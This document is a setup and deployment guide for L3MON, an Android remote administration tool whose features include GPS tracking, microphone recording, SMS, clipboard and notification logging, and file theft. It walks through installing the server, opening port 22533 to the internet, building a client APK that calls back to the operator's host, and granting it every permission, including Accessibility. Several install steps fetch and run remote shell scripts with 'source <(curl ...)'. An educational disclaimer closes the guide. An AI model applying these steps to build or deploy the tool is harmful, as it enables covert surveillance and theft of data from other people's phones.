L3MON — Android Remote Administration Tool Repo: https://github.com/efxtv/L3MON
Archived: October 29, 2025 — Read-only / Educational preservation
Stack: Node.js + Express + Socket.IO + Java 8 / apktool
You must have a Linux lab to test this tool safely in an isolated environment. JOIN US TO KNOW MORE
Cloud-based remote Android management suite, powered by NodeJS.
Features: GPS Logging · Microphone Recording · Contacts · SMS Logs / Send SMS · Call Logs · Installed Apps · Stub Permissions · Live Clipboard Logging · Live Notification Logging · WiFi Networks · File Explorer & Downloader · Command Queuing · Built-in APK Builder
You MUST use Java 1.8.0 / JRE 8. Any other version will break APK building. Issues not using Java 8 will be closed without response.
Required:
- Java Runtime Environment 8 (OpenJDK 1.8 / Oracle JRE 8)
- Node.js 14.x – 18.x LTS + npm
- Git, curl, wget, openssl
- PM2 process manager
- A server / VPS / local machine with port 22533 open
- Android SDK build-tools / apktool (auto-installed via scripts below)
- 2GB RAM minimum, Ubuntu 20.04/22.04 recommended
sudo apt update && sudo apt upgrade -y
sudo apt install -y wget curl git nano openssl nodejs npm openjdk-8-jdk openjdk-8-jre
# verify
java -version
# must show: openjdk version "1.8.0_xxx"
# install apktool for L3MON
source <(curl -fsSL https://raw.githubusercontent.com/efxtv/npm/main/apktool/apktool-kali-ubuntu.sh)Set Java 8 as default if you have multiple versions:
sudo update-alternatives --config java
# select java-8-openjdkpkg update && pkg upgrade -y
pkg install -y git curl wget nodejs-lts openssl-tool nano
# L3MON Termux Java 8 workaround
source <(curl -fsSL https://raw.githubusercontent.com/efxtv/npm/main/apktool/apktool-termux.sh)
source <(curl -fsSL https://raw.githubusercontent.com/efxtv/npm/main/L3mon-no-java8.sh)
# install EMSF helper
curl -L -o $PREFIX/bin/emsf https://github.com/efxtv/EMSF/blob/main/termux/emsf?raw=true
chmod +x $PREFIX/bin/emsfsu -c "yum install -y java-1.8.0-openjdk java-1.8.0-openjdk-devel git curl wget nodejs npm openssl"
# or dnf:
sudo dnf install -y java-1.8.0-openjdk-devel nodejs npm git
source <(curl -fsSL https://raw.githubusercontent.com/efxtv/npm/main/apktool/apktool-kali-ubuntu.sh)
java -version- Download Oracle JRE 8 / JDK 8u361:
https://www.oracle.com/technetwork/java/javase/downloads/jre8-downloads-2133155.html - Install, then add to PATH:
C:\Program Files\Java\jre1.8.0_xxx\bin - Verify in CMD:
Must show 1.8.0
java -version - Install Node.js LTS from: https://nodejs.org/en/download
- Install Git for Windows: https://git-scm.com/download/win
git clone https://github.com/efxtv/L3MON.git
cd L3MONOriginal project is archived. The maintainers distributed releases via Telegram: https://t.me/+egpQDeBtGk8wYWU1
# Install PM2 globally
sudo npm install pm2 -g
# Install project dependencies
npm install
# Audit / fix (as per upstream README)
npm audit fix
npm audit
npm audit fix --forceIf you get node-gyp / sqlite errors:
sudo apt install -y build-essential python3
npm install --build-from-source# start once to generate maindb.json
pm2 start index.js --name l3mon
pm2 stop l3monEdit credentials:
nano maindb.jsonUnder admin:
"admin": {
"username": "your_admin_username",
"password": "5d41402abc4b2a76b9719d911017c592"
}Generate MD5 password (LOWERCASE):
# Linux / macOS / Termux
echo -n "YourPasswordHere" | openssl md5 | awk '{print $2}'
# Example: efxtv
# echo -n efxtv | openssl md5
# -> 3c8e4f8e5c1c8f7e9b0a1d2c3e4f5a6b (use your actual output, lowercase)Save file, then:
pm2 restart all
# or
pm2 start index.js --name l3mon
pm2 save
pm2 startup
# run the command PM2 prints to enable autostartAccess dashboard:
http://127.0.0.1:22533
http://YOUR_SERVER_IP:22533
Login with the username + plain-text password you hashed.
L3MON default: TCP 22533
Ubuntu / UFW:
sudo ufw allow 22533/tcp
sudo ufw reloadCloud VPS: open 22533 in your security group / firewall panel.
Reverse proxy (optional nginx):
server {
listen 80;
server_name yourdomain.com;
location / {
proxy_pass http://127.0.0.1:22533;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
}- Login to dashboard → Build
- Set:
- LHOST: your public server IP / domain
- LPORT: 22533
- App name / icon as needed
- Click Build
- Download APK from
clientData/or dashboard - Install on your OWN test device → Allow all permissions:
- Location, Microphone, SMS, Phone, Contacts, Storage, Notifications, Accessibility
- Client appears in dashboard → Live
Build troubleshooting:
Java version error→java -versionMUST be 1.8.0apktool not found→ re-run the apktool install script from Step 1maindb.json missing→ runpm2 start index.jsonce, stop, then configureclient offline→ check port 22533 is reachable:curl http://YOUR_IP:22533
pm2 logs l3mon # live logs
pm2 monit # monitor
pm2 stop l3mon
pm2 restart l3mon
pm2 delete l3mon
pm2 list
pm2 saveUpdate / reinstall:
pm2 stop all
git pull
npm install
pm2 restart allpm2 stop l3mon
pm2 delete l3mon
pm2 save
cd ..
rm -rf L3MONRemove Java 8 (Ubuntu):
sudo apt remove openjdk-8-*L3MON/
├── index.js # Node server entry
├── maindb.json # users / clients DB – EDIT FOR LOGIN
├── maindb.json.back
├── package.json
├── app/factory/ # APK build templates
├── clientData/ # built APKs output
├── includes/
├── assets/
├── error-and-install/ # GIF help guides
└── L3mon_Dockerfile
sudo apt update && sudo apt install -y openjdk-8-jdk openjdk-8-jre nodejs npm git curl openssl && \
git clone https://github.com/efxtv/L3MON.git && cd L3MON && \
source <(curl -fsSL https://raw.githubusercontent.com/efxtv/npm/main/apktool/apktool-kali-ubuntu.sh) && \
sudo npm install pm2 -g && npm install && npm audit fix --force && \
pm2 start index.js --name l3mon && echo "Open http://localhost:22533"
# then stop and set your maindb.json admin MD5 password![]() |
![]() |
![]() |
|---|---|---|
![]() |
![]() |
![]() |
![]() |
![]() |
![]() |
L3MON Builds off and utilizes several open-source software, Without these, L3MON Wouldn't be what it is!
- Inspiration for the project and the basic building blocks for the Android App are based on AhMyth
- express
- node-geoip
- lowdb
- socket.io
- Open Street Map
- Leaflet
L3MON is provided strictly for educational purposes, authorized cybersecurity training, and defensive security research on devices you own or have explicit, informed, written consent to test. D3VL / efxtv provide no warranty and accept no liability for any direct or indirect damage, data loss, privacy violation, or legal consequences arising from its use. Unauthorized access, interception, surveillance, or deployment against any device without the legal owner’s prior consent is illegal under laws including the U.S. Computer Fraud and Abuse Act, UK Computer Misuse Act 1990, India IT Act 2000, EU GDPR, and equivalent statutes worldwide, and is expressly prohibited — you assume sole criminal and civil responsibility for your actions; if you do not agree, or if such tools are illegal in your jurisdiction, do not download, install, or use L3MON.
Made with ❤️ by D3VL — L3MON — Archived Oct 29, 2025 — MIT License Credits: AhMyth, express, node-geoip, lowdb, socket.io, OpenStreetMap, Leaflet *Support / releases (archived): *









